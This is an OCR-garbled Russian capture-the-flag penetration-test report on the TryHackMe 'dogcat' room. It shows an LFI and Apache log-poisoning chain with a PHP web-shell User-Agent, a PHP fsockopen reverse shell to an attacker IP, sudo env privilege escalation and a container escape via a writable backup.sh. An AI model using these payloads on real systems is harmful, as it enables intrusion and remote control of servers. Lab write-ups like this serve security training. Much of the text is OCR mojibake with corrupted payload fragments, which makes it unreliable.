OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
nHcpopmaumoHHor 6e3onacHocTn B 19:19 (xopowasi KoMHama, rnpsiMo Ha rnoweesenumab
cepbiM 8eU,eCmMeom)

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/nomeH Mopt CepBUC CepBuc ueneBsoro cepsepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - Gobuster Directory Scanner -
localhost - Obsidian Notes -
localhost 1234 netcat listener -
localhost 7777 netcatlistener 2 -
10.10.77.106 80 httpd Web Server +

Ucnonb3oBaHHbIe dhannbl:

flag.php - nepBbIn doriar

flag2_ QMW7JvaY2LVK.ixt - BTOpOM corar

flag3.txt - TpeTun donar

flag4.txt - 4 donar

backup.sh - dpann, ncnone3oBaHHbIN A4NA BbIXO4aA U3 KOHTENHepa

/usr/bin/env - hann, NCNONb30BaHHbI A4S NOBbILLEHMS NPUBESTIENIA.

NMopsapok aencremnm

1) 3anyck openvpn ansa gocrtyna; kex ans Toro, 4Ttobbl caenartb linux
yaoOHee

kex ——win && sudo openvpn Kolya080808.ovpn


https://gtfobins.github.io/gtfobins/env/

2) CkaHupoBaHMe NOPTOB C NOMOLL LI nmap.

* PesynbTaThl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu dubuntu®.3 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 2048 24:31:19:2a:b1:97:1a:04:Ue:2c:36:ac:8U:0a:75:87 (RSA)

| 256 21:3d:46:18:93:aa:f9:e7:¢c9:b5:Uc:0f:16:0b:71:e1 (ECDSA)
|_ 256 cl:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-title: dogcat

| _http-server-header: Apache/2.4.38 (Debian)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_Kkernel

3) 3anyck Gobuster ana noucka oNpPeKTopun.

* PesynbtaThl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://10.10.19.55/

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes:  dod

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/cats (Status: 301) [Size: 309] [-—> http://10.10.19.55/cats/]
/dogs (Status: 301) [Size: 309] [-—> http://10.10.19.55/dogs/]
Progress: 29715 / 220561 (13.47%)"C

[!] Keyboard interrupt detected, terminating.

Progress: 29725 / 220561 (13.48%)

Finished




4) Ha canTte A Hawen 4yteHue cdannos. (3To ObINO CNOXHO, ¢ php A He
APYXY ()

PesynbTart:

dogcat

O & 10.10.19.5572view=cat; ca

o\ogca’r
3 gatery of various doja or cats

what would You like to seel

A dog A cat

—_—

_.-—'_-——._-'_N—.

Here you gol
warning includeccat; cat wf/ufete/passud.phe) faled to open stream no such fie or directary in Avar/www/himl/
index,phe on fine Y4

warning inchude (> Faled opening ‘cat; cat wh/uwwet/passwd.ehe’ for Incusion (nclude _path="/ustlocallio/phe) in Ivar/
www/htrolfindex.ehe on fine a4

5) NMonpo6oBaB nony4unTtb reverse shell:

PesynbTtar:

dogcat X * dogcat

0 & 10.10.19.55

he; httpad/nmapo

ansferring data from 10.10.19.4 L0 (compaticie; hx

BbiBOA:

Hapo coenaTb 4TO TO ApYyroe, UM TO e caMoe, HO HEMHOTO MO-ApYroMy.

6) A nonpo6oBan caenatb 3TO Yepe3 burp, Npu 3TOM NOMEHAB user
agent Ha onpeaeneHHbIN php-Koa:



PesynbTart:

Burp Suite Community Edition v2024.9.4 - Temporary Project

(0] Burp Project Intruder Repeater View Help

Dashbeard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Leamn
1x  +
©
S
Request Response
Pretty ex B w = Pretty
e 1 GET /¥ food var/log/apache ogbext=Lemd= '
php% 26% 5% 221 0% 2 22%2C1 234%29%3Bexec% 28% 22% 2Fb 127.0,0,1 - - [18/Dec/2024:13:30;43 +0000] "GET / HTTP/1.1" 200 615 "
L 1n%2Fsh%20%20: % 263% 202% 7 HTTP/1.1 veurl /7.64.00
Host: 10.10.18.55 1 10.9.2.137 - - [18/Dec/2024:13:30:42 +0000] "Gl
e Accept-Language: en-US,en;g=0.9 Jtview=doa/. . /.. /. ./ ./ f. f . dvarflog/apache2/access, loghext=&c=php
Upgrade-Insecure-Requests: 1 27¢sock=fsockopen(%2210.9.2,137%22,1234) ; system(%22sh% 20% 3C&3% 20%3E63
Pser-agent: <?php system($_GET['cnd']) 7= 1" 200 219923 "-* "Mozilla/5.0 (Windows NT 10.0; Wing
Accept: AppleWebKit /537,36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/S3
tting: text/html,application/xhtml+xml,application/xml ;g=0.9, image/avif,image /webp,inage /apng 29911 127.0.0.1 - - [18/Dec/2024:13:31:13 +0000] "GET / HTTP/1.1" 200 615 *
*/%;q=0,8,application/signed-exchange; v=b3;q=0,7 Veurl /7. 64,00
Accept-Encoding: gzip, deflate, br = 127.0.0.1 - [18/Dec/2024:13:31:44 +0000] “GET / HTTP/1.1" 200 615 *
ofes : ) T "curl/7.64.0
= 29913 16.9.2.157 - - [18/Dec/2024:13:31:53 +0000] "G
ler. /Pviewsdog/. . /.. /. ./ ./ f . /.. /varflog/apache2/access . loghext=&cmd=p
% 27§sock=Fsockopen(%2210.9, 2.137%22,1234) ; systen(% 225h% 20% 3CLF%20% 3E
&3%22) ;%27 HTTP/1.1" 200 220219 "-* "Mozilla/S.0 (Windows NT 10.0; Wi
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1308.0.6723.70 Safari/s
ne A 127.0.0.1 - - [1B/Dec/2024:13:32:14 +0000] "GET / HTTP/1.1" 200 615 *
"curl/7.64.0"
1a 127.0.0.1 - - [18/Dec/2024:18:32;44 +0000] "GET / HTTP/1.1" 200 615 *
"curl/7.64.0"
re 127.0.0.1 - - [18/Dec/2024:13:33:14 +0000] "GET / HTTP/1.1" 200 €15 *
"curl/7.64.0"
s al 127.0.0.1 - - [1B/Dec/2024:15:33:45 +0000] "GET / HTTP/1.1" 200 615
"curl/7.64.0
2991 127.0.0.1 - - [18/Dec/2024:13:34:15 +0000] "GET / HTTP/1.1" 200 615 *
9. "curl/7.64.0"
391 127.0.0.1 - - [18/Dec/2024:13:34:45 +0000] "GET / HTTP/1.1" 200 615 *
"curl/7.64.0"
I 2992 127.0.0.1 - - [18/Dec/2024:13:35:15 +0000] "GET / HTTP/1.1" 200 615 *
“curl/7.64.0"
29921 10.9.2.137 - - [18/Dec/2024:13:35:19 +0000] “GET
/Pviewsdog/. /.. /. ./ . /.. /.. /.. /var/log/apache2/access . log&ext= HTTP,
220274 “www - data
2992 127.0.0.1 - - [18/Dec/2024:13:35:46 +0000] "GET / HTTP/1.1" 200 615 *
"curl/7.64.0"

iv=

</htnl>

D& €l 0| ohighlights () G} €| | | gobuster x| 297131

O kolya080808@Nikolape: ~ - O X

7) Danee s1 npouutan flag.php:



PesynbTart:

python3 --help
/binfsh: 2: python3: not found

“"THM{This _1s N@t 4 Catdog_ab67edfa)

8) Al nonpo6oBan nocMoTpeTb, UTO ecTb B /home, oAHaKO HUYEro HeT.
NMoaTomy A1 noBbICUI NpUBererMm ¢ NOMOLLbIO env:

PesynbTart:

Wik -Ar -2 1 root root 4896 Dec 1B 12:
it sudo -1
Matching Defaults entries for www-data on Seff99fad?
env_reset, mall badpa
secure_path=/usr/localfsbin':fusrflocalfbind: fusr/sbiny: fuse fbiny: fshin’y: /bin

W-data may run the following commands on Sef{99fag7
3 MOPASSWD: Afusr/binfenw

9) 3aTtem A nouckan B Gnmxanwunx AUPEKTOPUAX U AUPEKTOPUAX rae
o6bIYHO HaxoauTca dnar, u He nporaaan:

PesyrnbTart:

Wialel -data e -data 4896 Dec
o Mar
Mar
Dec
Mar
Dec

Il
"

cat.php
cats
dog.php
dogs

Mar flag.php
LETY index.php
Mar 18 2828 style.css

=
CO O

=
[Ka]

o
T h O

[
[N I B o B (R

=
(%]

[ et S e S T ]
-l

B

LA

flag? QOMW7Iwav2Lvk.txt
html



https://gtfobins.github.io/gtfobins/env/

fl: Mo such file or directaory
at flag.txt

at: flag.txt: Mo such file or directory

HA{D1ft3r3nt _3nwvilronments 874112}

10) Janblue 1 Ha4Yan BTYNYyK UCKaTb YNOMUHaHue chrnara, n onsiTb He
nporagan:

PesynbTart:
flag3.txt

grep -r “THM™ / 2»/dew/null

Binary file fopt/backups/backup.tar matches

11) 3pecb Hapo nonoteTb. CkOpee BCero Mbl B KOHTEUHEpe, TaK KakK
NOCMOTpPEB B AUPEKTOPUIO, 1 YyBUAEN BOT ITO:



PesyanaT

ontainer

ontainer

ontainer
oot fcontainer
oot fcontainer
oot fcontainer f
oot fcontainer /
rootfcontainer
oot fcontainer f
~oot fcontainer S
oot fcontainer
oot fcontainer

P origin/

origin/HEAD

~oot fcontainer
oot fcontainer
oot fcontainer
oot fcontainer
oot fcontainer /
oot fcontainer /.
oot fcontainer f
oot fcontainer/
oot fcontainer
rootfcontainer f
~pot fcontainer f
~oot f onfslner'

“ooT#LonTslner;.,'

12) TaKk xXe y MeHAl eCTb BOT Takon chausn B HaNU4Ymnn, 4To MoXxeT
3Ha4YnUTb, YTO Yepe3 onpeaesieHHbIA NPOMEXYTOK BpeMeHu byaeTt
co3faH ewe oauH bekan:

PesynbTart:

backup.sh
backup.tar
oot

[ ey
co Ca

13) Toraa Mbl NbiTaeMCsl Kak-TO BbIUTU U3 KOHTEMHepa, nony4yas ewe
oauH reverse shell c nomowblo Toro camoro backup.sh:



PesynbTart:

(i}
AR A

LA

backup.sh
backup.tar

ca

1
1 1
1 1 2
1 1
3 1

v
e
[N

LA

backup.sh

listening on [any] 7777 .
connect to [18.9.2.137] from (UNKNOWN) [18.18.18.55] 3:
cannot set terminal process group { 7): Inappropriate ioctl for dewice
i ontrol in thls shell

14) Hy v untaem nocneaHuu cnar:

PesynbTart:

rootidogcat :~# ls

» fdev/null

= B o

8]

flagd.txt

.Enupg
.local

5
1

r
"
e
I
P
ot o Mar B container
r r
.
f
r
I

(Y

Sdogc at =~
rooctgdo ~# cat flagd.txt

¥s_on_esc4ldtions_on 7aS2bi7dbaéeb bc1840bcbag2d}

2 MpnmeyaHue
AdoureHckas KOMHaTa, caernaHa OT/IM4HO, Ha4o OYEeHb MHOMo AyMaTbh. [10BOSbHO
npocTas, HO BCe e CTOUT npownTu!

Cosertyto npowntn ee! Cnacubo TryHackMe 3a komHaty!

HampeHHble ya3BUMOCTH

LFIu RCE



PoC:

dogcat

doaca‘r
a gatery of various dojs or cats

what would you like to seel

A dog A cat

—_—

.—F_——-——.

Here yeu g
warning include(cat; cat ././uf./ete/passud.phe) faled to open stream ko such fie or directory in Iathwww/htral/
index.phe on fing a4

warning inchidec) Failed opening ‘cat; cat wul/
www/htral/index.ghp on line a4

Wetc/passuwdphe' for inclusion (include _path="/usr/locallis/phe) in Avar/

Burp Suite Community Edition v2024.9.4 - Temporary Project

(6] Burp Project Intruder Repeater View Help
Dashboard ~ Target Intruder Repeater Collaborator ~ Sequencer Decoder Comparer Logger ~ Organizer  Extensions  Leamn
1 x +
=l ¢ <
Request Response
Pretty Raw Hex a @ w = Pretty Raw Hex Render

GET /Tview=dog/../../../../../ . /.. /var/log/apache2/access.log&ext=&emd= :;ur{};,gq,o"

%30fsock oi1 en%28% 221 0% 2E9% 2E2% 261 37% 2% 201 234% 29 3Bexeck 28% 224 2Fb

php%20% 2Dr% 20%27% 24s0 127.0.0.1 - - [18/Dec/2024:13:30:43 +0000] "GET / HTTP/1.1" 200 615 "
1n%2Fsh% 20% 201% 20% 3C. 26 3% 200 36% 26 5% 20 2% 3E% 26 3% 2205 290 36% 27 HTTP/1.1 "eurl /7.64.0"
Host: 10.10.19.55 99 10.9,2.137 - - [18/Dec/2024:13:30:42 +0000] "GET

Accept-Language: en-US,en;g=0.9 fview=dog/. . /.. f..f..f. . [..[..fvar[log/apache2/access . loghext=6c=php

Upgrade-Insecure-Requests: 1
leer-Agem.: <?php system($_GET['ecmd']) 7=
Accept:

27¢sock=Ffsockopen(%2210,9.2,137%22,1234) ; system(%22sh%20% 3CE3 2063663
%22) ;%27 HTTP/1.1" 200 219923 "-* "Mozilla/5.0 (Windows NT 10.0: Wing
AppleWebKit /537,36 (KHTML, like Gecko) Chrome/130.0,6723.70 Safari/s3

it text/html,application/xhtal+xnl,application/xml;q=0.9, inage/avif, inage/webp,inage /apng, 127.0.0.1 - - [18/Dec/2024:13:31:13 +0000] "GET / HTTP/1.1" 200 615 *
*/%;q=0,8,application/signed-exchange;v=b3;q=0.7 “curl /7.64,0"
Accept-Encoding: gzip, deflate, br 127.0.0.1 - - [18/Dec/2024:13:31:44 +0000] "GET / HTTP/1.1" 200 615 *
ofes Gonnestion:, keen:alive i “curl/7.64.0"
9 10.9.2.137 - - [18/Dec/2024:13:31:53 +0000] *GET
ler. Jiviewsdog/. . /.. f. ./ . 4. [.. /.. fvarflog/apache2/access, loghext=Gemdep
0%27§sock=Ffsockopen|%2210. 9. 2.137%22,1234) ; syst en(%22sh%20% 3CL3%20% 3E
&3%22) ;%27 HTTP/Ll.1" 200 220219 " "Mozilla/S.0 (Windows NT 10.0; Wi
AppleWebKit /537,36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/s
ne 1914 127.0.0.1 - - [18/Dec/2024:13:32:14 +0000] "GET 7 HTTP/1.1" 200 615 =
"curl/7.64.0"
1a i 127.0.0.1 - - [18/Dec/2024:13:32:44 +0000] "GET s HTTR/1.1" 200 615 *
"curl/7.64.0"
re 29 127.0.0.1 - - [18/Dec/2024:13:33:14 +0000] "GET / HTTR/1.1" 200 615 *
“curl /7.64.0"
sal 2581 127.0.0.1 - - [18/Dec/2024:13:33:45 +0000] "GET / HTTP/1.1" 200 615 *
“curl /7.64.0"
\ 127.0.0.1 - - [18/Dec/2024:13:34:15 +0000] "GET / HTTP/1.1" 200 615 *
g “curl /7.64.0"
127.0.0.1 - - [18/Dec/2024:13:34:45 +0000] "GET / HTTP/1.1" 200 615 *
“curl /7.64.0"
i 2992 127.0.0.1 - - [18/Dec/2024:13:35:15 +0000] "GET / HTTP/1.1" 200 615 *
“curl /7.64.0"
10.9.2.157 - - [18/Dec/2024:13:35:19 +0000] *GET
ftviewsdog/ . /. /.. /0 /o /ol fvar/log/apache2/access . loghext= HTTP/
220274 - “www-data
127.0.0.1 - - [18/Dec/2024:13:35:46 +0000] "GET / HTTP/1.1" 200 615 *
"eurl/7.64.0"
</div>
</body>
</htal>
el IR O | ohighligts | (3) @&} €| 3| | gobuster x| 29730

(NyHKT 6)

CVSSv3 Score: 7.9 (Critical)

OnucaHue:

B naHHom criyqae RCE m LFI cBa3aHbl ¢ HenpaBunbHOW HaC

TpoviKon 3anpocos B index.php.



Bocn poundBeaeHune yA3BMMOCTU.

CootBertcTByeT PoC.
PekomeHgaumm no yctpaHeHuo:

NamenunTe Kog cTpanmubl index.php Ha cante.
OWASP.

Buaoeo BbINONMHEeHUsA
OpwuruHan:

TyackMe [ Dashb... ) Dashboard @ pic

loit a PHP application via LFl and break out of a docker container.

To access material, start machines and answer questions you need to join this room!

/ SHADoW BoSS O\

l2 ¢hart @ Scoreboard [ Video 2 Wirite-ups
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YouTube



https://owasp.org/www-community/attacks/Code_Injection
https://youtu.be/RsHFiCTJBRw

